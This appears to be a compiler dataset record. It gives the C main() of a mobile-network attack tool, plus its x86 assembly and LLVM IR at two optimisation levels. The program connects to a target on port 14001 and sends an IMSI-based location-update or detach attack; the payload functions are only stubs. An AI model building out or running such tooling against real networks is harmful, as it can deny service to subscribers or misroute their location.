#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_family;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
};
struct sockaddr {
  int dummy;
};
struct imsi {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ imsi_detach(int, struct imsi *);
struct imsi *imsi_encode(char *);
int inet_addr(char *);
int /*<<< orphan*/ location_update(int, struct imsi *, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int strtol(char *, int /*<<< orphan*/ *, int);
int main(int argc, char **argv) {
  int sock;
  struct sockaddr_in cs;
  struct imsi *im;
  if (argc < 4) {
    fprintf(stderr,
            "%s <target ip> <imsi> <attack (l - location update / d - imsi "
            "detach)\n",
            argv[0]);
    return -1;
  }
  im = imsi_encode(argv[2]);
  cs.sin_family = AF_INET;
  cs.sin_port = htons(14001);
  cs.sin_addr.s_addr = inet_addr(argv[1]);
  if (-1 == cs.sin_addr.s_addr) {
    return -2;
  }
  if (-1 == (sock = socket(cs.sin_family, SOCK_STREAM, 0))) {
    perror("socket()");
    return -3;
  }
  if (0 > connect(sock, (struct sockaddr *)&cs, sizeof(struct sockaddr_in))) {
    return -4;
  }
  switch (argv[3][0]) {
  case 'l':
    if (argc < 5) {
      location_update(sock, im, 1);
    } else {
      location_update(sock, im, strtol(argv[4], NULL, 10));
    }
    break;
  case 'd':
    imsi_detach(sock, im);
    break;
  default:
    printf("unknown attack type\n");
    break;
  }
  printf("\n");
  close(sock);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x4,-0x8(%rbp)
jge    1208 <main+0x48>
mov    0x2df1(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xe09(%rip),%rsi
call   1080 <fprintf@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1379 <main+0x1b9>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   10d0 <imsi_encode@plt>
mov    %rax,-0x28(%rbp)
mov    0x2dc8(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    $0x36b1,%edi
call   1040 <htons@plt>
mov    %eax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1070 <inet_addr@plt>
mov    %eax,-0x1c(%rbp)
mov    $0xffffffff,%eax
cmp    -0x1c(%rbp),%eax
jne    125c <main+0x9c>
movl   $0xfffffffe,-0x4(%rbp)
jmp    1379 <main+0x1b9>
mov    -0x20(%rbp),%edi
mov    0x2d6a(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10e0 <socket@plt>
mov    %eax,%ecx
mov    %ecx,-0x14(%rbp)
mov    $0xffffffff,%eax
cmp    %ecx,%eax
jne    1299 <main+0xd9>
lea    0xdbf(%rip),%rdi
call   10a0 <perror@plt>
movl   $0xfffffffd,-0x4(%rbp)
jmp    1379 <main+0x1b9>
mov    -0x14(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   10c0 <connect@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    %rcx,%rax
jle    12c4 <main+0x104>
movl   $0xfffffffc,-0x4(%rbp)
jmp    1379 <main+0x1b9>
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rax
movsbl (%rax),%eax
mov    %eax,-0x2c(%rbp)
sub    $0x64,%eax
je     1348 <main+0x188>
jmp    12e0 <main+0x120>
mov    -0x2c(%rbp),%eax
sub    $0x6c,%eax
jne    1359 <main+0x199>
jmp    12f1 <main+0x131>
cmpl   $0x5,-0x8(%rbp)
jge    1311 <main+0x151>
mov    -0x14(%rbp),%edi
mov    -0x28(%rbp),%rsi
mov    $0x1,%edx
call   10b0 <location_update@plt>
jmp    1343 <main+0x183>
mov    -0x14(%rbp),%eax
mov    %eax,-0x3c(%rbp)
mov    -0x28(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x10(%rbp),%rax
mov    0x20(%rax),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0xa,%edx
call   1090 <strtol@plt>
mov    -0x3c(%rbp),%edi
mov    -0x38(%rbp),%rsi
mov    %eax,%edx
call   10b0 <location_update@plt>
jmp    1365 <main+0x1a5>
mov    -0x14(%rbp),%edi
mov    -0x28(%rbp),%rsi
call   1030 <imsi_detach@plt>
jmp    1365 <main+0x1a5>
lea    0xcf0(%rip),%rdi
call   1050 <printf@plt>
lea    0xcd9(%rip),%rdi
call   1050 <printf@plt>
mov    -0x14(%rbp),%edi
call   1060 <close@plt>
mov    -0x4(%rbp),%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x10,%rsp
mov    %rsi,%rbx
cmp    $0x3,%edi
jg     1206 <main+0x36>
mov    0x2ded(%rip),%rax
mov    (%rax),%edi
mov    (%rbx),%rdx
lea    0xe09(%rip),%rsi
call   1090 <fprintf@plt>
mov    $0xffffffff,%eax
jmp    12f1 <main+0x121>
mov    %edi,%r12d
mov    0x10(%rbx),%rdi
call   10e0 <imsi_encode@plt>
mov    %rax,%r14
mov    0x2dcc(%rip),%rax
mov    (%rax),%ebp
mov    %ebp,(%rsp)
mov    $0x36b1,%edi
call   1060 <htons@plt>
mov    %eax,0x8(%rsp)
mov    0x8(%rbx),%rdi
call   1080 <inet_addr@plt>
mov    %eax,0x4(%rsp)
cmp    $0xffffffff,%eax
je     1297 <main+0xc7>
mov    0x2d88(%rip),%rax
mov    (%rax),%esi
mov    %ebp,%edi
xor    %edx,%edx
call   10f0 <socket@plt>
cmp    $0xffffffff,%eax
je     12fe <main+0x12e>
mov    %eax,%r15d
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0xc,%edx
call   10d0 <connect@plt>
test   %rax,%rax
js     129e <main+0xce>
mov    0x18(%rbx),%rax
movsbl (%rax),%eax
cmp    $0x64,%eax
je     12a5 <main+0xd5>
cmp    $0x6c,%eax
jne    12b2 <main+0xe2>
cmp    $0x4,%r12d
ja     12c0 <main+0xf0>
mov    %r15d,%edi
mov    %r14,%rsi
mov    $0x1,%edx
jmp    12d8 <main+0x108>
mov    $0xfffffffe,%eax
jmp    12f1 <main+0x121>
mov    $0xfffffffc,%eax
jmp    12f1 <main+0x121>
mov    %r15d,%edi
mov    %r14,%rsi
call   1040 <imsi_detach@plt>
jmp    12dd <main+0x10d>
lea    0xd97(%rip),%rdi
call   1050 <puts@plt>
jmp    12dd <main+0x10d>
mov    0x20(%rbx),%rdi
xor    %esi,%esi
mov    $0xa,%edx
call   10a0 <strtol@plt>
mov    %r15d,%edi
mov    %r14,%rsi
mov    %eax,%edx
call   10c0 <location_update@plt>
mov    $0xa,%edi
call   1030 <putchar@plt>
mov    %r15d,%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd42(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xfffffffd,%eax
jmp    12f1 <main+0x121>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.imsi = type { i32 }
%struct.sockaddr = type { i32 }
@stderr = global i32 0
@.str = [71 x i8] c"%s <target ip> <imsi> <attack (l - location update / d - imsi detach)\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [9 x i8] c"socket()\00"
@.str.2 = [21 x i8] c"unknown attack type\0A\00"
@.str.3 = [2 x i8] c"\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca %struct.sockaddr_in
%8 = alloca %struct.imsi*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%9 = load i32, i32* %4
%10 = icmp slt i32 %9, 4
br i1 %10, label %11, label %17
11: ; preds = %2
%12 = load i32, i32* @stderr
%13 = load i8**, i8*** %5
%14 = getelementptr inbounds i8*, i8** %13, i64 0
%15 = load i8*, i8** %14
%16 = call i32 @fprintf(i32 %12, i8* getelementptr inbounds ([71 x i8], [71 x i8]* @.str, i64 0, i64 0), i8* %15)
store i32 -1, i32* %3
br label %84
17: ; preds = %2
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 2
%20 = load i8*, i8** %19
%21 = call %struct.imsi* @imsi_encode(i8* %20)
store %struct.imsi* %21, %struct.imsi** %8
%22 = load i32, i32* @AF_INET
%23 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 0
store i32 %22, i32* %23
%24 = call i32 @htons(i32 14001)
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 2
store i32 %24, i32* %25
%26 = load i8**, i8*** %5
%27 = getelementptr inbounds i8*, i8** %26, i64 1
%28 = load i8*, i8** %27
%29 = call i32 @inet_addr(i8* %28)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
%31 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %30, i32 0, i32 0
store i32 %29, i32* %31
%32 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
%33 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %32, i32 0, i32 0
%34 = load i32, i32* %33
%35 = icmp eq i32 -1, %34
br i1 %35, label %36, label %37
36: ; preds = %17
store i32 -2, i32* %3
br label %84
37: ; preds = %17
%38 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 0
%39 = load i32, i32* %38
%40 = load i32, i32* @SOCK_STREAM
%41 = call i32 @socket(i32 %39, i32 %40, i32 0)
store i32 %41, i32* %6
%42 = icmp eq i32 -1, %41
br i1 %42, label %43, label %45
43: ; preds = %37
%44 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0))
store i32 -3, i32* %3
br label %84
45: ; preds = %37
%46 = load i32, i32* %6
%47 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
%48 = call i64 @connect(i32 %46, %struct.sockaddr* %47, i32 12)
%49 = icmp sgt i64 0, %48
br i1 %49, label %50, label %51
50: ; preds = %45
store i32 -4, i32* %3
br label %84
51: ; preds = %45
%52 = load i8**, i8*** %5
%53 = getelementptr inbounds i8*, i8** %52, i64 3
%54 = load i8*, i8** %53
%55 = getelementptr inbounds i8, i8* %54, i64 0
%56 = load i8, i8* %55
%57 = sext i8 %56 to i32
switch i32 %57, label %78 [
i32 108, label %58
i32 100, label %74
]
58: ; preds = %51
%59 = load i32, i32* %4
%60 = icmp slt i32 %59, 5
br i1 %60, label %61, label %65
61: ; preds = %58
%62 = load i32, i32* %6
%63 = load %struct.imsi*, %struct.imsi** %8
%64 = call i32 @location_update(i32 %62, %struct.imsi* %63, i32 1)
br label %73
65: ; preds = %58
%66 = load i32, i32* %6
%67 = load %struct.imsi*, %struct.imsi** %8
%68 = load i8**, i8*** %5
%69 = getelementptr inbounds i8*, i8** %68, i64 4
%70 = load i8*, i8** %69
%71 = call i32 @strtol(i8* %70, i32* null, i32 10)
%72 = call i32 @location_update(i32 %66, %struct.imsi* %67, i32 %71)
br label %73
73: ; preds = %65, %61
br label %80
74: ; preds = %51
%75 = load i32, i32* %6
%76 = load %struct.imsi*, %struct.imsi** %8
%77 = call i32 @imsi_detach(i32 %75, %struct.imsi* %76)
br label %80
78: ; preds = %51
%79 = call i32 @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
br label %80
80: ; preds = %78, %74, %73
%81 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0))
%82 = load i32, i32* %6
%83 = call i32 @close(i32 %82)
br label %84
84: ; preds = %80, %50, %43, %36, %11
%85 = load i32, i32* %3
ret i32 %85
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.imsi = type { i32 }
%struct.sockaddr = type { i32 }
@stderr = global i32 0
@.str = [71 x i8] c"%s <target ip> <imsi> <attack (l - location update / d - imsi detach)\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [9 x i8] c"socket()\00"
@str = [20 x i8] c"unknown attack type\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = icmp slt i32 %0, 4
br i1 %5, label %6, label %10
6: ; preds = %2
%7 = load i32, i32* @stderr
%8 = load i8*, i8** %1
%9 = tail call i32 @fprintf(i32 %7, i8* getelementptr inbounds ([71 x i8], [71 x i8]* @.str, i64 0, i64 0), i8* %8)
br label %54
10: ; preds = %2
%11 = getelementptr inbounds i8*, i8** %1, i64 2
%12 = load i8*, i8** %11
%13 = tail call %struct.imsi* @imsi_encode(i8* %12)
%14 = load i32, i32* @AF_INET
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %14, i32* %15
%16 = tail call i32 @htons(i32 14001)
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %16, i32* %17
%18 = getelementptr inbounds i8*, i8** %1, i64 1
%19 = load i8*, i8** %18
%20 = tail call i32 @inet_addr(i8* %19)
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
store i32 %20, i32* %21
%22 = icmp eq i32 %20, -1
br i1 %22, label %54, label %23
23: ; preds = %10
%24 = load i32, i32* @SOCK_STREAM
%25 = tail call i32 @socket(i32 %14, i32 %24, i32 0)
%26 = icmp eq i32 %25, -1
br i1 %26, label %27, label %29
27: ; preds = %23
%28 = tail call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0))
br label %54
29: ; preds = %23
%30 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%31 = call i64 @connect(i32 %25, %struct.sockaddr* %30, i32 12)
%32 = icmp slt i64 %31, 0
br i1 %32, label %54, label %33
33: ; preds = %29
%34 = getelementptr inbounds i8*, i8** %1, i64 3
%35 = load i8*, i8** %34
%36 = load i8, i8* %35
%37 = sext i8 %36 to i32
switch i32 %37, label %49 [
i32 108, label %38
i32 100, label %47
]
38: ; preds = %33
%39 = icmp ult i32 %0, 5
br i1 %39, label %40, label %42
40: ; preds = %38
%41 = call i32 @location_update(i32 %25, %struct.imsi* %13, i32 1)
br label %51
42: ; preds = %38
%43 = getelementptr inbounds i8*, i8** %1, i64 4
%44 = load i8*, i8** %43
%45 = call i32 @strtol(i8* nocapture %44, i32* null, i32 10)
%46 = call i32 @location_update(i32 %25, %struct.imsi* %13, i32 %45)
br label %51
47: ; preds = %33
%48 = call i32 @imsi_detach(i32 %25, %struct.imsi* %13)
br label %51
49: ; preds = %33
%50 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @str, i64 0, i64 0))
br label %51
51: ; preds = %40, %42, %49, %47
%52 = call i32 @putchar(i32 10)
%53 = call i32 @close(i32 %25)
br label %54
54: ; preds = %29, %10, %51, %27, %6
%55 = phi i32 [ -1, %6 ], [ -3, %27 ], [ 0, %51 ], [ -2, %10 ], [ -4, %29 ]
ret i32 %55
}